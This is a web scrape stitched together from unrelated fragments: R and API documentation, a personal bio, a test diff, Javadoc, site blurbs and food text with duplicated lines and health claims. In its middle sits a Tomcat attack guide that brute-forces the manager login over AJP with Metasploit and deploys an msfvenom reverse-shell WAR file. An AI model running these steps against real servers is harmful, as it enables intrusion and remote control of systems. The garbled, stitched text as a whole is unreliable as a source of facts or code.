| labels.niceFacing | Should facing of axis labels be human-easy |
| tick.length | length of the tick |
| lwd | line width for ticks |
| col | color for the axes |
| labels.col | color for the labels |
Note, you need to set the gap between sectors manually by circos.par
to make sure there is enough space
for y-axis.
op = par(no.readonly = TRUE) sectors = letters[1:8] circos.par(points.overflow.warning = FALSE) circos.par(gap.degree = 8) circos.initialize(sectors, xlim = c(0, 10))for(a in letters[5:7]) { circos.yaxis(side = "right", sector.index = a) }


Returns the content of a cell.
getOperators(fieldType, fieldOpers)
| fieldType |
string, index of the record |
| fieldOpers |
integer, index of the column |
Returns string, option list of operators for dropdown.
Description
The method called internally to build a list of possible operators for the specified search field type
See Also
operators
operatorsMap
defaultOperator


I graduated from University of Washington with a B.S. in Biology/Physiology in 2013 and Seattle University with a B.S. in Nursing in 2015. Since working as a Charge Nurse at Swedish Medical Center, I realize I have passion in leadership, lifelong learning and discover new work gadgets and technologies.
I discovered computer science through my husband's work as a Software Engineer at LinkedIn and fell in love with the work culture. Since then, I have set goals to be a part of that. My goal is to build good foundational skills and level up every day one commit at a time.
Outside of school/work, I love to spend my time in the kitchen (be it cooking --or eating) and watch Korean dramas at home. You may also find me walking my dog, Chloe, out with my husband, Ivan in Issaquah Highlands, Washington.


Before Change
def test_not_supported_media_player():
Test if mode isn"t supported and if no supported modes.
// selected mode for entity not supported
with pytest.raises(vol.Invalid):
entity_state = State("media_player.demo", "on")
get_accessory(None, entity_state, 2, {CONF_MODE: [ON_OFF]})
// no supported modes for entity
entity_state = State("media_player.demo", "on")
assert get_accessory(None, entity_state, 2, {}) is None
After Change
def test_not_supported_media_player():
Test if mode isn"t supported and if no supported modes.
// selected mode for entity not supported
config = {CONF_FEATURE_LIST: {FEATURE_ON_OFF: None}}
entity_state = State("media_player.demo", "on")
get_accessory(None, entity_state, 2, config) is None


Package com.mygdx.auber.Pathfinding
Class GraphCreator
- java.lang.Object
-
- com.badlogic.gdx.ApplicationAdapter
-
- com.mygdx.auber.Pathfinding.GraphCreator
-
- All Implemented Interfaces:
com.badlogic.gdx.ApplicationListener
public final class GraphCreator extends com.badlogic.gdx.ApplicationAdapter
-
-
Constructor Summary
Constructors Constructor Description GraphCreator(com.badlogic.gdx.maps.tiled.TiledMapTileLayer chosenTileLayer)
The constructor for this MapGraph.
-
Method Summary
All Methods Static Methods Instance Methods Concrete Methods Modifier and Type Method Description void
dispose()
void
generateConnections()
Generates a path from each node to its neighbour nodes (up, down, left, right).void
generateNodeMap()
Generates a node on every tile in the map, if it matches the id.static com.badlogic.gdx.utils.Array<Node>
getKeySystemNodes()
Returns the key system nodes for this GraphCreator.MapGraph
getMapGraph()
Gets this GraphCreator's mapGraph.com.badlogic.gdx.utils.Array<Node>
getNeighbourNodes(Node node)
Returns every valid neighbour node to the node passed as input.void
render()
Renders the nodes and paths on the screen using their render methods, used for debugging purposes.static void
setNodePath(com.badlogic.gdx.ai.pfa.GraphPath<Node> inputNodePath)
Sets the nodePath for this GraphCreator.
-
-
-
Method Detail
-
render
public void render()
Renders the nodes and paths on the screen using their render methods, used for debugging purposes.- Specified by:
render
in interfacecom.badlogic.gdx.ApplicationListener
- Overrides:
render
in classcom.badlogic.gdx.ApplicationAdapter
-
generateNodeMap
public void generateNodeMap()
Generates a node on every tile in the map, if it matches the id. This is called when the GraphCreator object is instantiated.
-
generateConnections
public void generateConnections()
Generates a path from each node to its neighbour nodes (up, down, left, right). Called when GraphCreator is instantiated, after the nodes are created.
-
getNeighbourNodes
public com.badlogic.gdx.utils.Array<Node> getNeighbourNodes(Node node)
Returns every valid neighbour node to the node passed as input.- Parameters:
node
- Node to get neighbours for- Returns:
- Array of Nodes
-
getMapGraph
public MapGraph getMapGraph()
Gets this GraphCreator's mapGraph.- Returns:
- This GraphCreator's mapGraph.
-
setNodePath
public static void setNodePath(com.badlogic.gdx.ai.pfa.GraphPath<Node> inputNodePath)
Sets the nodePath for this GraphCreator.- Parameters:
inputNodePath
- The new node path for this GraphCreator.
-
getKeySystemNodes
public static com.badlogic.gdx.utils.Array<Node> getKeySystemNodes()
Returns the key system nodes for this GraphCreator.- Returns:
- An array of nodes that represent key systems.
-
dispose
public void dispose()
- Specified by:
dispose
in interfacecom.badlogic.gdx.ApplicationListener
- Overrides:
dispose
in classcom.badlogic.gdx.ApplicationAdapter
-
-


---
meta-title: Translated page
title: Translated page
cta: To come.
layout: static
pagetype: meta-pattern
---
- 1) Here we see the "current" site as an exported static entity
- (here's the page on the live site)
- 2) The migrated version
- Supplement) Diff of the changes: //github.com/khawkins98/EBI-Framework/commit/a49d3668f2b80058be8c277d875c8b06f47a7237


Having the Tomcat service exposed allows attackers to access the Tomcat Manager interface. Although often password protected, brute force attacks using default and common passwords have proven successful in the past. Once access to the manager interface has been achieved, compromising the server becomes trivial with the WAR file deployment functionality.
The Apache JServ Protocol (AJP) is essentially an optimized binary version of HTTP. This makes communication with the AJP port rather difficult using conventional tools. The simplest solution is to configure Apache as a local proxy, which performs transparent conversion of HTTP traffic to AJP format. Once configured, an attacker can use common tools such as Hydra and Metasploit to exploit the Tomcat server over AJP.
The following guide will demonstrate how to configure Apache and exploit a Tomcat 7 instance, running on an Ubuntu 16.10 virtual machine. The Ubuntu firewall was enabled with only port 8009 accessible, and weak credentials used on the Tomcat manager interface. The attacking machine was a default Kali 2016.2 image installed inside a virtual machine.
Step 1: Install the Dependencies
The first line installs the mod-jk package which allows Apache to forward requests to Tomcat using the AJP protocol. It can communication to Tomcat on the local machine or to a remote instance. The second line enables the proxy_ajp module and required dependencies automatically.
apt install libapache2-mod-jk
a2enmod proxy_ajp
Step 2: Configure Apache
Next create a configuration file in /etc/apache2/sites-enabled/ which will hold our proxy setup, I’ve named mine ajp.conf.
ProxyRequests Off
# Only allow localhost to proxy requests
<Proxy *>
Order deny,allow
Deny from all
Allow from localhost
</Proxy>
# Change the IP address in the below lines to the remote servers IP address hosting the Tomcat instance
ProxyPass / ajp://<IP_ADDRESS>:8009/
ProxyPassReverse / ajp://<IP_ADDRESS>:8009/
Now start apache.
systemctl start apache2
Visiting <IP_ADDRESS> should cause Apache to redirect the request to the specified server in the ajp.conf file using the AJP protocol.
Step 3: Brute Force Credentials
There are a few tools available to exploit the Tomcat manager. Metasploit contains an auxiliary module to brute force the login credentials.
msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set RHOSTS <IP_ADDRESS>
RHOSTS => <IP_ADDRESS>
msf auxiliary(tomcat_mgr_login) > set RPORT 80
RPORT => 80
msf auxiliary(tomcat_mgr_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(tomcat_mgr_login) > run
[+] <IP_ADDRESS>:80 - LOGIN SUCCESSFUL: admin:admin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Step 4: Exploit
Generate a malicious WAR file containing a reverse TCP shell. Configure the local IP and port accordingly.
msfvenom -p java/shell_reverse_tcp LHOST=<IP_ADDRESS> LPORT=4444 -f war > shell3.war
Setup a handler in Metasploit then visit the manger interface to deploy the malicious WAR. Once uploaded make sure to visit the malicious URL (available in applications list) at least once to cause the WAR to execute. You should have received a shell in the Metasploit handler.


Do you want to book for a bus? Fill in your email and choose a password :) Welcome to fintech public transport booking site!


Toor Dhall
The cultivation of the Toor Dhall (Pigeon Pea) goes back at least 3,500 years. The centre of origin is the eastern part of peninsular India.
The cultivation of the Toor Dhall (Pigeon Pea) goes back at least 3,500 years. The centre of origin is the eastern part of peninsular India.
Black gram is originated in India, where it has been in cultivation from ancient times and is one of the most highly priced pulses of India.
Black gram is originated in India, where it has been in cultivation from ancient times and is one of the most highly priced pulses of India.
Asafoetida health benefits can be obtained everyday when used in cooking. It can be mixed with virtually anything like vegetables, pulses, rice, meat, or fish.
Asafoetida health benefits can be obtained everyday when used in cooking. It can be mixed with virtually anything like vegetables, pulses, rice, meat, or fish.
Asafoetida is favorable for women’s health as it helps counter leucorrhoea, dysmenorrhea, excessive and painful menstruation.
Latest TV & Radio Ads.


Position literals first in String comparisons - that way if the String is null you won't get a NullPointerException, it'll just return false.
This rule is deprecated, use {rule:squid:S1132} instead.


I want to find ghosts in...
South East
London
North West
East of England
West Midlands
South West
Yorkshire and the Humber
East Midlands
North East
Go
Back
Map
Here are the following venues that could wet your ghost-hunting appetite...
Donald Duck
Bakes ducking fantastic cakes.
Wanda Morrison
Bakes and stuff.
Joe Smith
Bakes and stuff.
Jeanette Chavez
Bakes and stuff.
Back
Donald Duck
About Donald
Contact Donald


Website that can make the parking process smoother,safer and it is friendly to the user in almost every aspects.
Time Efficient
User Friendly
High Precision
More Secure
Cost Effective
Fill the location of destination and your current location with date and arrival &departure time . You will get the slots option if available else we will give you the preffered slots.
Once you get you preffered slots register yourself otherwise for our permanent coustemers please get your self signed in . Registration process involves an otp authentication on your mentioned adhdar card mobile no.
As soon as the above process ends we will direct you to a payment link .Get yourrself done with all steps and you are all set to park your car without any stress.
You can’t be able to take any stress when you have findmyparking.com!.The map will give you the best route between your location and parking space.